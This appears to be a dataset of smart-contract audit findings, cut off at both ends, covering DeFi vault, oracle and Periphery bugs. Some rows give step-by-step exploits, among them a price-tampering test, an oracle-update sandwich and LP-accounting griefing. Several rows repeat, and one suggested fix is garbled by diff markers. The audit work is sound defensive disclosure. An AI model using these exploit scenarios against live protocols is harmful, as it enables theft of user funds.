fixture.contracts);\\n ({ oracleSalt } = fixture.props);\\n });\\n\\n it("inits", async () => {\\n expect(await oracle.oracleStore()).to.eq(oracleStore.address);\\n expect(await oracle.SALT()).to.eq(oracleSalt);\\n });\\n\\n it("tamperPrices", async () => {\\n const blockNumber = (await provider.getBlock()).number;\\n const blockTimestamp = (await provider.getBlock()).timestamp;\\n await dataStore.setUint(keys.MIN_ORACLE_SIGNERS, 2);\\n const block = await provider.getBlock(blockNumber);\\n\\n let signerInfo = getSignerInfo([0, 1]);\\n let minPrices = [1000, 1000]; // if some signers sign a same price\\n let maxPrices = [1010, 1010]; // if some signers sign a same price\\n let signatures = await signPrices({\\n signers: [signer0, signer1],\\n salt: oracleSalt,\\n minOracleBlockNumber: blockNumber,\\n maxOracleBlockNumber: blockNumber,\\n oracleTimestamp: blockTimestamp,\\n blockHash: block.hash,\\n token: wnt.address,\\n tokenOracleType: TOKEN_ORACLE_TYPES.DEFAULT,\\n precision: 1,\\n minPrices,\\n maxPrices,\\n });\\n\\n // attacker tamper the prices and indexes\\n minPrices[1] = 2000\\n maxPrices[1] = 2020\\n let indexes = getCompactedPriceIndexes([0, 0]) // share the same index\\n\\n await oracle.setPrices(dataStore.address, eventEmitter.address, {\\n priceFeedTokens: [],\\n signerInfo,\\n tokens: [wnt.address],\\n compactedMinOracleBlockNumbers: [blockNumber],\\n compactedMaxOracleBlockNumbers: [blockNumber],\\n compactedOracleTimestamps: [blockTimestamp],\\n compactedDecimals: getCompactedDecimals([1]),\\n compactedMinPrices: getCompactedPrices(minPrices),\\n compactedMinPricesIndexes: indexes,\\n compactedMaxPrices: getCompactedPrices(maxPrices),\\n compactedMaxPricesIndexes: indexes,\\n signatures,\\n });\\n\\n const decimals = 10\\n expect((await oracle.getPrimaryPrice(wnt.address)).min).eq(1500 * decimals);\\n expect((await oracle.getPrimaryPrice(wnt.address)).max).eq(1515 * decimals);\\n });\\n\\n});\\n```\\n |
boundedSub() might fail to return the result that is bounded to prevent overflows | medium | The goal of `boundedSub()` is to bound the result regardless what the inputs are to prevent overflows/underflows. However, the goal is not achieved for some cases. As a result, `boundedSub()` still might underflow and still might revert. The goal of the function is not achieved.\\nAs a result, the protocol might not be fault-tolerant as it is supposed to be - when `boundedSub()` is designed to not revert in any case, it still might revert. For example, function `MarketUtils.getNextFundingAmountPerSize()` will be affected.\\n`boundedSub()` is designed to always bound its result between `type(int256).min` and `type(int256).max` so that it will never overflow/underflow:\\nIt achieves its goal in three cases:\\nCase 1: `if either a or b is zero or the signs are the same there should not be any overflow`.\\nCase 2: `a > 0`, and `b < 0`, and `a-b > type(int256).max`, then we need to return `type(int256).max`.\\nCase 3: `a < 0`, and `b > 0`, and a - b < `type(int256).min`, then we need to return `type(int256).min`\\nUnfortunately, the third case is implemented wrongly as follows:\\n```\\n // if subtracting `b` from `a` would result in a value less than the min int256 value\\n // then return the min int256 value\\n if (a < 0 && b <= type(int256).min - a) {\\n return type(int256).min;\\n }\\n```\\n\\nwhich essentially is checking a < 0 && b + a <= `type(int256).min`, a wrong condition to check. Because of using this wrong condition, underflow cases will not be detected and the function will revert instead of returning `type(int256).min` in this case.\\nTo verify, suppose a = `type(int256).min` and b = 1, `a-b` needs to be bounded to prevent underflow and the function should have returned `type(int256).min`. However, the function will fail the condition, as a result, it will not execute the if part, and the following final line will be executed instead:\\n```\\nreturn a - b;\\n```\\n\\nAs a result, instead of returning the minimum, the function will revert in the last line due to underflow. This violates the property of the function: it should have returned the bounded result `type(int256).min` and should not have reverted in any case.\\nThe following POC in Remix can show that the following function will revert:\\n```\\nfunction testBoundedSub() public pure returns (int256){\\n return boundedSub(type(int256).min+3, 4);\\n}\\n```\\n | The correction is as follows:\\n```\\n function boundedSub(int256 a, int256 b) internal pure returns (int256) {\\n // if either a or b is zero or the signs are the same there should not be any overflow\\n if (a == 0 || b == 0 || (a > 0 && b > 0) || (a < 0 && b < 0)) {\\n return a // Remove the line below\\n b;\\n }\\n\\n // if adding `// Remove the line below\\nb` to `a` would result in a value greater than the max int256 value\\n // then return the max int256 value\\n if (a > 0 && // Remove the line below\\nb >= type(int256).max // Remove the line below\\n a) {\\n return type(int256).max;\\n }\\n\\n // if subtracting `b` from `a` would result in a value less than the min int256 value\\n // then return the min int256 value\\n// Remove the line below\\n if (a < 0 && b <= type(int256).min // Remove the line below\\n a) {\\n// Add the line below\\n if (a < 0 && a <= type(int256).min // Add the line below\\n b) {\\n return type(int256).min;\\n }\\n\\n return a // Remove the line below\\n b;\\n }\\n```\\n | `boundedSub()` does not guarantee underflow/overflow free as it is designed to be. As a result, the protocol might break at points when it is not supposed to break. For example, function `MarketUtils.getNextFundingAmountPerSize()` will be affected. | ```\\n // if subtracting `b` from `a` would result in a value less than the min int256 value\\n // then return the min int256 value\\n if (a < 0 && b <= type(int256).min - a) {\\n return type(int256).min;\\n }\\n```\\n |
Adversary can sandwich oracle updates to exploit vault | high | BLVaultLido added a mechanism to siphon off all wstETH obtained from mismatched pool and oracle prices. This was implemented to fix the problem that the vault could be manipulated to the attackers gain. This mitigation however does not fully address the issue and the same issue is still exploitable by sandwiching oracle update.\\nBLVaultLido.sol#L232-L240\\n```\\n uint256 wstethOhmPrice = manager.getTknOhmPrice();\\n uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;\\n\\n // Take any arbs relative to the oracle price for the Treasury and return the rest to the owner\\n uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut\\n ? expectedWstethAmountOut\\n : wstethAmountOut;\\n if (wstethAmountOut > wstethToReturn)\\n wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);\\n```\\n\\nIn the above lines we can see that the current oracle price is used to calculate the expected amount of wstETH to return to the user. In theory this should prevent the attack but an attacker can side step this sandwiching the oracle update.\\nExample:\\nThe POC is very similar to before except now it's composed of two transactions sandwiching the oracle update. Chainlink oracles have a tolerance threshold of 0.5% before updating so we will use that as our example value. The current price is assumed to be 0.995 wstETH/OHM. The oracle price (which is about to be updated) is currently 1:1\\n```\\nTransaction 1:\\n\\nBalances before attack (0.995:1)\\nLiquidity: 79.8 OHM 80.2 wstETH\\nAdversary: 20 wstETH\\n\\nSwap OHM so that pool price matches pre-update oracle price:\\nLiquidity: 80 OHM 80 wstETH\\nAdversary: -0.2 OHM 20.2 wstETH\\n\\nBalances after adversary has deposited to the pool:\\nLiquidity: 100 OHM 100 wstETH\\nAdversary: -0.2 OHM 0.2 wstETH\\n\\nBalances after adversary sells wstETH for OHM (0.5% movement in price):\\nLiquidity: 99.748 OHM 100.252 wstETH\\nAdversary: 0.052 OHM -0.052 wstETH\\n\\nSandwiched Oracle Update:\\n\\nOracle updates price of wstETH to 0.995 OHM. Since the attacker already sold wstETH to balance \\nthe pool to the post-update price they will be able to withdraw the full amount of wstETH.\\n\\nTransaction 2:\\n\\nBalances after adversary removes their liquidity:\\nLiquidity: 79.798 OHM 80.202 wstETH\\nAdversary: 0.052 OHM 19.998 wstETH\\n\\nBalances after selling profited OHM:\\nLiquidity: 79.849 OHM 80.152 wstETH\\nAdversary: 20.05 wstETH\\n```\\n\\nAs shown above it's still profitable to exploit the vault by sandwiching the oracle updates. With each oracle update the pool can be repeatedly attacked causing large losses. | To prevent this I would recommend locking the user into the vault for some minimum amount of time (i.e. 24 hours) | Vault will be attacked repeatedly for large losses | ```\\n uint256 wstethOhmPrice = manager.getTknOhmPrice();\\n uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;\\n\\n // Take any arbs relative to the oracle price for the Treasury and return the rest to the owner\\n uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut\\n ? expectedWstethAmountOut\\n : wstethAmountOut;\\n if (wstethAmountOut > wstethToReturn)\\n wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);\\n```\\n |
minTokenAmounts_ is useless in new configuration and doesn't provide any real slippage protection | high | BLVaultLido#withdraw skims off extra stETH from the user that results from oracle arb. The problem with this is that minTokenAmounts_ no longer provides any slippage protection because it only ensures that enough is received from the liquidity pool but never enforces how much is received by the user.\\nBLVaultLido.sol#L224-L247\\n```\\n _exitBalancerPool(lpAmount_, minTokenAmounts_);\\n\\n // Calculate OHM and wstETH amounts received\\n uint256 ohmAmountOut = ohm.balanceOf(address(this)) - ohmBefore;\\n uint256 wstethAmountOut = wsteth.balanceOf(address(this)) - wstethBefore;\\n\\n // Calculate oracle expected wstETH received amount\\n // getTknOhmPrice returns the amount of wstETH per 1 OHM based on the oracle price\\n uint256 wstethOhmPrice = manager.getTknOhmPrice();\\n uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;\\n\\n // Take any arbs relative to the oracle price for the Treasury and return the rest to the owner\\n uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut\\n ? expectedWstethAmountOut\\n : wstethAmountOut;\\n if (wstethAmountOut > wstethToReturn)\\n wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);\\n\\n // Burn OHM\\n ohm.increaseAllowance(MINTR(), ohmAmountOut);\\n manager.burnOhmFromVault(ohmAmountOut);\\n\\n // Return wstETH to owner\\n wsteth.safeTransfer(msg.sender, wstethToReturn);\\n```\\n\\nminTokenAmounts_ only applies to the removal of liquidity. Since wstETH is skimmed off to the treasury the user no longer has any way to protect themselves from slippage. As shown in my other submission, oracle slop can lead to loss of funds due to this skimming. | Allow the user to specify the amount of wstETH they receive AFTER the arb is skimmed. | Users cannot protect themselves from oracle slop/wstETH skimming | ```\\n _exitBalancerPool(lpAmount_, minTokenAmounts_);\\n\\n // Calculate OHM and wstETH amounts received\\n uint256 ohmAmountOut = ohm.balanceOf(address(this)) - ohmBefore;\\n uint256 wstethAmountOut = wsteth.balanceOf(address(this)) - wstethBefore;\\n\\n // Calculate oracle expected wstETH received amount\\n // getTknOhmPrice returns the amount of wstETH per 1 OHM based on the oracle price\\n uint256 wstethOhmPrice = manager.getTknOhmPrice();\\n uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;\\n\\n // Take any arbs relative to the oracle price for the Treasury and return the rest to the owner\\n uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut\\n ? expectedWstethAmountOut\\n : wstethAmountOut;\\n if (wstethAmountOut > wstethToReturn)\\n wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);\\n\\n // Burn OHM\\n ohm.increaseAllowance(MINTR(), ohmAmountOut);\\n manager.burnOhmFromVault(ohmAmountOut);\\n\\n // Return wstETH to owner\\n wsteth.safeTransfer(msg.sender, wstethToReturn);\\n```\\n |
Adversary can stake LP directly for the vault then withdraw to break lp accounting in BLVaultManagerLido | high | The AuraRewardPool allows users to stake directly for other users. In this case the malicious user could stake LP directly for their vault then call withdraw on their vault. This would cause the LP tracking to break on BLVaultManagerLido. The result is that some users would now be permanently trapped because their vault would revert when trying to withdraw.\\nBaseRewardPool.sol#L196-L207\\n```\\nfunction stakeFor(address _for, uint256 _amount)\\n public\\n returns(bool)\\n{\\n _processStake(_amount, _for);\\n\\n //take away from sender\\n stakingToken.safeTransferFrom(msg.sender, address(this), _amount);\\n emit Staked(_for, _amount);\\n \\n return true;\\n}\\n```\\n\\nAuraRewardPool allows users to stake directly for another address with them receiving the staked tokens.\\nBLVaultLido.sol#L218-L224\\n```\\n manager.decreaseTotalLp(lpAmount_);\\n\\n // Unstake from Aura\\n auraRewardPool().withdrawAndUnwrap(lpAmount_, claim_);\\n\\n // Exit Balancer pool\\n _exitBalancerPool(lpAmount_, minTokenAmounts_);\\n```\\n\\nOnce the LP has been stake the adversary can immediately withdraw it from their vault. This calls decreaseTotalLP on BLVaultManagerLido which now permanently break the LP account.\\nBLVaultManagerLido.sol#L277-L280\\n```\\nfunction decreaseTotalLp(uint256 amount_) external override onlyWhileActive onlyVault {\\n if (amount_ > totalLp) revert BLManagerLido_InvalidLpAmount();\\n totalLp -= amount_;\\n}\\n```\\n\\nIf the amount_ is ever greater than totalLP it will cause decreaseTotalLP to revert. By withdrawing LP that was never deposited to a vault, it permanently breaks other users from being able to withdraw.\\nExample: User A deposits wstETH to their vault which yields 50 LP. User B creates a vault then stake 50 LP and withdraws it from his vault. The manager now thinks there is 0 LP in vaults. When User A tries to withdraw their LP it will revert when it calls manger.decreaseTotalLp. User A is now permanently trapped in the vault. | Individual vaults should track how much they have deposited and shouldn't be allowed to withdraw more than deposited. | LP accounting is broken and users are permanently trapped. | ```\\nfunction stakeFor(address _for, uint256 _amount)\\n public\\n returns(bool)\\n{\\n _processStake(_amount, _for);\\n\\n //take away from sender\\n stakingToken.safeTransferFrom(msg.sender, address(this), _amount);\\n emit Staked(_for, _amount);\\n \\n return true;\\n}\\n```\\n |
Users can abuse discrepancies between oracle and true asset price to mint more OHM than needed and profit from it | high | All chainlink oracles have a deviation threshold between the current price of the asset and the on-chain price for that asset. The more oracles used for determining the price the larger the total discrepancy can be. These can be combined and exploited to mint more OHM than expected and profit.\\nBLVaultLido.sol#L156-L171\\n```\\n uint256 ohmWstethPrice = manager.getOhmTknPrice();\\n uint256 ohmMintAmount = (amount_ * ohmWstethPrice) / _WSTETH_DECIMALS;\\n\\n // Block scope to avoid stack too deep\\n {\\n // Cache OHM-wstETH BPT before\\n uint256 bptBefore = liquidityPool.balanceOf(address(this));\\n\\n // Transfer in wstETH\\n wsteth.safeTransferFrom(msg.sender, address(this), amount_);\\n\\n // Mint OHM\\n manager.mintOhmToVault(ohmMintAmount);\\n\\n // Join Balancer pool\\n _joinBalancerPool(ohmMintAmount, amount_, minLpAmount_);\\n```\\n\\nThe amount of OHM to mint and deposit is determined by the calculated price from the on-chain oracle prices.\\nBLVaultLido.sol#L355-L364\\n```\\n uint256[] memory maxAmountsIn = new uint256[](2);\\n maxAmountsIn[0] = ohmAmount_;\\n maxAmountsIn[1] = wstethAmount_;\\n\\n JoinPoolRequest memory joinPoolRequest = JoinPoolRequest({\\n assets: assets,\\n maxAmountsIn: maxAmountsIn,\\n userData: abi.encode(1, maxAmountsIn, minLpAmount_),\\n fromInternalBalance: false\\n });\\n```\\n\\nTo make the issue worse, _joinBalancerPool use 1 for the join type. This is the EXACT_TOKENS_IN_FOR_BPT_OUT method of joining. What this means is that the join will guaranteed use all input tokens. If the current pool isn't balanced in the same way then the join request will effectively swap one token so that the input tokens match the current pool. Now if the ratio is off then too much OHM will be minted and will effectively traded for wstETH. This allows the user to withdraw at a profit once the oracle has been updated the discrepancy is gone. | The vault needs to have withdraw and/or deposit fees to make attacks like this unprofitable. | Users can always time oracles so that they enter at an advantageous price and the deficit is paid by Olympus with minted OHM | ```\\n uint256 ohmWstethPrice = manager.getOhmTknPrice();\\n uint256 ohmMintAmount = (amount_ * ohmWstethPrice) / _WSTETH_DECIMALS;\\n\\n // Block scope to avoid stack too deep\\n {\\n // Cache OHM-wstETH BPT before\\n uint256 bptBefore = liquidityPool.balanceOf(address(this));\\n\\n // Transfer in wstETH\\n wsteth.safeTransferFrom(msg.sender, address(this), amount_);\\n\\n // Mint OHM\\n manager.mintOhmToVault(ohmMintAmount);\\n\\n // Join Balancer pool\\n _joinBalancerPool(ohmMintAmount, amount_, minLpAmount_);\\n```\\n |
stETH/ETH chainlink oracle has too long of heartbeat and deviation threshold which can cause loss of funds | medium | getTknOhmPrice uses the stETH/ETH chainlink oracle to calculate the current price of the OHM token. This token valuation is used to determine the amount of stETH to skim from the user resulting from oracle arb. This is problematic since stETH/ETH has a 24 hour heartbeat and a 2% deviation threshold. This deviation in price could easily cause loss of funds to the user.\\nBLVaultManagerLido.sol#L458-L473\\n```\\nfunction getTknOhmPrice() public view override returns (uint256) {\\n // Get stETH per wstETH (18 Decimals)\\n uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();\\n\\n // Get ETH per OHM (18 Decimals)\\n uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);\\n\\n // Get stETH per ETH (18 Decimals)\\n uint256 stethPerEth = _validatePrice(\\n stethEthPriceFeed.feed,\\n stethEthPriceFeed.updateThreshold\\n );\\n\\n // Calculate wstETH per OHM (18 decimals)\\n return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);\\n}\\n```\\n\\ngetTknOhmPrice uses the stETH/ETH oracle to determine the price which as stated above has a 24 hour hearbeat and 2% deviation threshold, this means that the price can move up to 2% or 24 hours before a price update is triggered. The result is that the on-chain price could be much different than the true stETH price.\\nBLVaultLido.sol#L232-L240\\n```\\n uint256 wstethOhmPrice = manager.getTknOhmPrice();\\n uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;\\n\\n // Take any arbs relative to the oracle price for the Treasury and return the rest to the owner\\n uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut\\n ? expectedWstethAmountOut\\n : wstethAmountOut;\\n if (wstethAmountOut > wstethToReturn)\\n wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);\\n \\n```\\n\\nThis price is used when determining how much stETH to send back to the user. Since the oracle can be up to 2% different from the true price, the user can unfairly lose part of their funds. | Use the stETH/USD oracle instead because it has a 1-hour heartbeat and a 1% deviation threshold. | User will be unfairly penalized due large variance between on-chain price and asset price | ```\\nfunction getTknOhmPrice() public view override returns (uint256) {\\n // Get stETH per wstETH (18 Decimals)\\n uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();\\n\\n // Get ETH per OHM (18 Decimals)\\n uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);\\n\\n // Get stETH per ETH (18 Decimals)\\n uint256 stethPerEth = _validatePrice(\\n stethEthPriceFeed.feed,\\n stethEthPriceFeed.updateThreshold\\n );\\n\\n // Calculate wstETH per OHM (18 decimals)\\n return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);\\n}\\n```\\n |
Normal users could be inadvertently grieved by the withdrawn ratios check | medium | The contract check on the withdrawn ratios of OHM and wstETH against the current oracle price could run into grieving naive users by taking any wstETH shifted imbalance as a fee to the treasury even though these users have not gamed the system.\\nHere is a typical scenario, assuming the pool has been initiated with total LP equal to sqrt(100_000 * 1_000) = 10_000. (Note: OHM: $15, wstETH: $1500 with the pool pricing match up with manager.getOhmTknPrice() or manager.getTknOhmPrice(), i.e. 100 OHM to 1 wstETH or 0.01 wstETH to 1 OHM. The pool token balances in each step below may be calculated via the Constant Product Simulation after each swap and stake.)\\n```\\nOHM token balance: 100_000\\nwstETH token balance: 1_000\\nTotal LP: 10_000\\n```\\n\\nA series of swap activities results in the pool shifted more of the LP into wstETH.\\nOHM token balance: 90_909.1 wstETH token balance: 1_100 Total LP: 10_000\\nBob calls `deposit()` by providing 11 wstETH where 1100 OHM is minted with 1100 - 90909.1 * 0.01 = 190.91 unused OHM burned. (Note: Bob successfully stakes with 909.09 OHM and 11 wstETH and proportionately receives 100 LP.)\\nOHM token balance: 91_818.19 wstETH token balance: 1_111 Total LP: 10_100 User's LP: 100\\nBob changes his mind instantly and proceeds to call `withdraw()` to remove all of his LP. He receives the originally staked 909.09 OHM and 11 wstETH. All OHM is burned but he is only entitled to receive 909.09 / 100 = 9.09 wstETH since the system takes any arbs relative to the oracle price for the Treasury and returns the rest to the owner.\\nOHM token balance: 90_909.1 wstETH token balance: 1_100 Total LP: 10_000 User's LP: 0 | Consider implementing a snapshot of the entry record of OHM and wstETH and compare that with the proportionate exit record. Slash only the differential for treasury solely on dissuading large attempts to shift the pool around, and in this case it should be 0 wstETH since the originally staked wstETH is no greater than expectedWstethAmountOut. | Bob suffers a loss of 11 - 9.09 = 1.91 wstETH (~ 17.36% loss), and the system is ready to trap the next user given the currently imbalanced pool still shifted more of the LP into wstETH. | ```\\nOHM token balance: 100_000\\nwstETH token balance: 1_000\\nTotal LP: 10_000\\n```\\n |
Periphery#_swapPTsForTarget won't work correctly if PT is mature but redeem is restricted | medium | Periphery#_swapPTsForTarget doesn't properly account for mature PTs that have their redemption restricted\\nPeriphery.sol#L531-L551\\n```\\nfunction _swapPTsForTarget(\\n address adapter,\\n uint256 maturity,\\n uint256 ptBal,\\n PermitData calldata permit\\n) internal returns (uint256 tBal) {\\n _transferFrom(permit, divider.pt(adapter, maturity), ptBal);\\n\\n if (divider.mscale(adapter, maturity) > 0) {\\n tBal = divider.redeem(adapter, maturity, ptBal); <- @audit-issue always tries to redeem even if restricted\\n } else {\\n tBal = _balancerSwap(\\n divider.pt(adapter, maturity),\\n Adapter(adapter).target(),\\n ptBal,\\n BalancerPool(spaceFactory.pools(adapter, maturity)).getPoolId(),\\n 0,\\n payable(address(this))\\n );\\n }\\n}\\n```\\n\\nAdapters can have their redeem restricted meaning the even when they are mature they can't be redeemed. In the scenario that it is restricted Periphery#_swapPTsForTarget simply won't work. | Use the same structure as _removeLiquidity:\\n```\\n if (divider.mscale(adapter, maturity) > 0) {\\n if (uint256(Adapter(adapter).level()).redeemRestricted()) {\\n ptBal = _ptBal;\\n } else {\\n // 2. Redeem PTs for Target\\n tBal += divider.redeem(adapter, maturity, _ptBal);\\n }\\n```\\n | Redemption will fail when redeem is restricted because it tries to redeem instead of swapping | ```\\nfunction _swapPTsForTarget(\\n address adapter,\\n uint256 maturity,\\n uint256 ptBal,\\n PermitData calldata permit\\n) internal returns (uint256 tBal) {\\n _transferFrom(permit, divider.pt(adapter, maturity), ptBal);\\n\\n if (divider.mscale(adapter, maturity) > 0) {\\n tBal = divider.redeem(adapter, maturity, ptBal); <- @audit-issue always tries to redeem even if restricted\\n } else {\\n tBal = _balancerSwap(\\n divider.pt(adapter, maturity),\\n Adapter(adapter).target(),\\n ptBal,\\n BalancerPool(spaceFactory.pools(adapter, maturity)).getPoolId(),\\n 0,\\n payable(address(this))\\n );\\n }\\n}\\n```\\n |
sponsorSeries() method fails when user want to swap for stake token using | medium | `sponsorSeries()` fails when user want to use `swapQuote` to swap for stake token to sponsor a series.\\nstake is token that user need to deposit (technically is pulled) to be able to sponsor a series for a given target. User has option to send `SwapQuote calldata quote` and swap any ERC20 token for stake token. Below is the code that doing transferFrom() of stakeToken not sellToken()\\n```\\nif (address(quote.sellToken) != ETH) _transferFrom(permit, stake, stakeSize);\\n if (address(quote.sellToken) != stake) _fillQuote(quote);\\n```\\n\\nExpected behaviour of this function is to pull `sellToken` from msg.sender when `address(quote.sellToken) != stake`. For example- stake token is WETH. User want to swap DAI for WETH in `sponsorSeries()`. In this case, user would be sending SwapQuote.sellToken = DAI and swapQuote.buyToke = WETH and expect that fillQuote() would swap it for WETH. This method will fail because `sellToken` not transferred from msg.sender. | Consider implementation of functionality to transferFrom `sellToken` from msg.sender with actual amount that is require to get exact amountOut greater or equal to `stakeSize` | sponsorSeries() fails when `address(quote.sellToken) != stake` | ```\\nif (address(quote.sellToken) != ETH) _transferFrom(permit, stake, stakeSize);\\n if (address(quote.sellToken) != stake) _fillQuote(quote);\\n```\\n |
Refund of protocol fee is being to wrong user | medium | There is one function, _fillQuote(), which is handling swap from `0x`. Ideally If there is any remaining protocol fee (in ETH) then it will be returned to sender aka msg.sender. There are scenarios when fee can be sent to receiver of swap instead.\\nPeriphery and RollerPeriphery both are using almost identical logic in `_fillQuote()` hence this vulnerability affect both contracts. It exist if qupte.buyToken is ETH and there is any remaining protocol fee.\\nHere are pieces of puzzle\\nAfter swap if buyToken == ETH then store contract ETH balance in `boughtAmount`\\n```\\n// RollerPeriphery.sol\\n boughtAmount = address(quote.buyToken) == ETH ? address(this).balance : quote.buyToken.balanceOf(address(this));\\n```\\n\\nNext it store refundAmt\\n```\\n// RollerPeriphery.sol\\n // Refund any unspent protocol fees (paid in ether) to the sender.\\n uint256 refundAmt = address(this).balance;\\n```\\n\\nCalculate actual refundAmt and transfer to sender\\n```\\n if (address(quote.buyToken) == ETH) refundAmt = refundAmt - boughtAmount;\\n payable(msg.sender).transfer(refundAmt);\\n```\\n\\nThis is clear that due to line 251, 258 and 259, refundAmt is 0. So sender is not getting refund.\\nLater on in logic flow buyToken will be transferred to receiver\\n```\\n address(quote.buyToken) == ETH\\n ? payable(receiver).transfer(amtOut)\\n : ERC20(address(quote.buyToken)).safeTransfer(receiver, amtOut); // transfer bought tokens to receiver\\n```\\n | Consider intercepting refund amount properly when buyToken is ETH or else just handle refund when buyToken is NOT ETH and write some explanation around it. | Sender is not getting protocol fee refund. | ```\\n// RollerPeriphery.sol\\n boughtAmount = address(quote.buyToken) == ETH ? address(this).balance : quote.buyToken.balanceOf(address(this));\\n```\\n |
sponsorSeries() method fails when user want to swap for stake token using | medium | `sponsorSeries()` fails when user want to use `swapQuote` to swap for stake token to sponsor a series.\\nstake is token that user need to deposit (technically is pulled) to be able to sponsor a series for a given target. User has option to send `SwapQuote calldata quote` and swap any ERC20 token for stake token. Below is the code that doing transferFrom() of stakeToken not sellToken()\\n```\\nif (address(quote.sellToken) != ETH) _transferFrom(permit, stake, stakeSize);\\n if (address(quote.sellToken) != stake) _fillQuote(quote);\\n```\\n\\nExpected behaviour of this function is to pull `sellToken` from msg.sender when `address(quote.sellToken) != stake`. For example- stake token is WETH. User want to swap DAI for WETH in `sponsorSeries()`. In this case, user would be sending SwapQuote.sellToken = DAI and swapQuote.buyToke = WETH and expect that fillQuote() would swap it for WETH. This method will fail because `sellToken` not transferred from msg.sender. | Consider implementation of functionality to transferFrom `sellToken` from msg.sender with actual amount that is require to get exact amountOut greater or equal to `stakeSize` | sponsorSeries() fails when `address(quote.sellToken) != stake` | ```\\nif (address(quote.sellToken) != ETH) _transferFrom(permit, stake, stakeSize);\\n if (address(quote.sellToken) != stake) _fillQuote(quote);\\n```\\n |
Periphery#_swapPTsForTarget won't work correctly if PT is mature but redeem is restricted | medium | Periphery#_swapPTsForTarget doesn't properly account for mature PTs that have their redemption restricted\\nPeriphery.sol#L531-L551\\n```\\nfunction _swapPTsForTarget(\\n address adapter,\\n uint256 maturity,\\n uint256 ptBal,\\n PermitData calldata permit\\n) internal returns (uint256 tBal) {\\n _transferFrom(permit, divider.pt(adapter, maturity), ptBal);\\n\\n if (divider.mscale(adapter, maturity) > 0) {\\n tBal = divider.redeem(adapter, maturity, ptBal); <- @audit-issue always tries to redeem even if restricted\\n } else {\\n tBal = _balancerSwap(\\n divider.pt(adapter, maturity),\\n Adapter(adapter).target(),\\n ptBal,\\n BalancerPool(spaceFactory.pools(adapter, maturity)).getPoolId(),\\n 0,\\n payable(address(this))\\n );\\n }\\n}\\n```\\n\\nAdapters can have their redeem restricted meaning the even when they are mature they can't be redeemed. In the scenario that it is restricted Periphery#_swapPTsForTarget simply won't work. | Use the same structure as _removeLiquidity:\\n```\\n if (divider.mscale(adapter, maturity) > 0) {\\n if (uint256(Adapter(adapter).level()).redeemRestricted()) {\\n ptBal = _ptBal;\\n } else {\\n // 2. Redeem PTs for Target\\n tBal += divider.redeem(adapter, maturity, _ptBal);\\n }\\n```\\n | Redemption will fail when redeem is restricted because it tries to redeem instead of swapping | ```\\nfunction _swapPTsForTarget(\\n address adapter,\\n uint256 maturity,\\n uint256 ptBal,\\n PermitData calldata permit\\n) internal returns (uint256 tBal) {\\n _transferFrom(permit, divider.pt(adapter, maturity), ptBal);\\n\\n if (divider.mscale(adapter, maturity) > 0) {\\n tBal = divider.redeem(adapter, maturity, ptBal); <- @audit-issue always tries to redeem even if restricted\\n } else {\\n tBal = _balancerSwap(\\n divider.pt(adapter, maturity),\\n Adapter(adapter).target(),\\n ptBal,\\n BalancerPool(spaceFactory.pools(adapter, maturity)).getPoolId(),\\n 0,\\n payable(address(this))\\n );\\n }\\n}\\n```\\n |
The createMarket transaction lack of expiration timestamp check | medium | The createMarket transaction lack of expiration timestamp check\\nLet us look into the heavily forked Uniswap V2 contract addLiquidity function implementation\\n```\\n// **** ADD LIQUIDITY ****\\nfunction _addLiquidity(\\n address tokenA,\\n address tokenB,\\n uint amountADesired,\\n uint amountBDesired,\\n uint amountAMin,\\n uint amountBMin\\n) internal virtual returns (uint amountA, uint amountB) {\\n // create the pair if it doesn't exist yet\\n if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {\\n IUniswapV2Factory(factory).createPair(tokenA, tokenB);\\n }\\n (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);\\n if (reserveA == 0 && reserveB == 0) {\\n (amountA, amountB) = (amountADesired, amountBDesired);\\n } else {\\n uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);\\n if (amountBOptimal <= amountBDesired) {\\n require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');\\n (amountA, amountB) = (amountADesired, amountBOptimal);\\n } else {\\n uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);\\n assert(amountAOptimal <= amountADesired);\\n require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');\\n (amountA, amountB) = (amountAOptimal, amountBDesired);\\n }\\n }\\n}\\n\\nfunction addLiquidity(\\n address tokenA,\\n address tokenB,\\n uint amountADesired,\\n uint amountBDesired,\\n uint amountAMin,\\n uint amountBMin,\\n address to,\\n uint deadline\\n) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {\\n (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);\\n address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);\\n TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);\\n TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);\\n liquidity = IUniswapV2Pair(pair).mint(to);\\n}\\n```\\n\\nthe 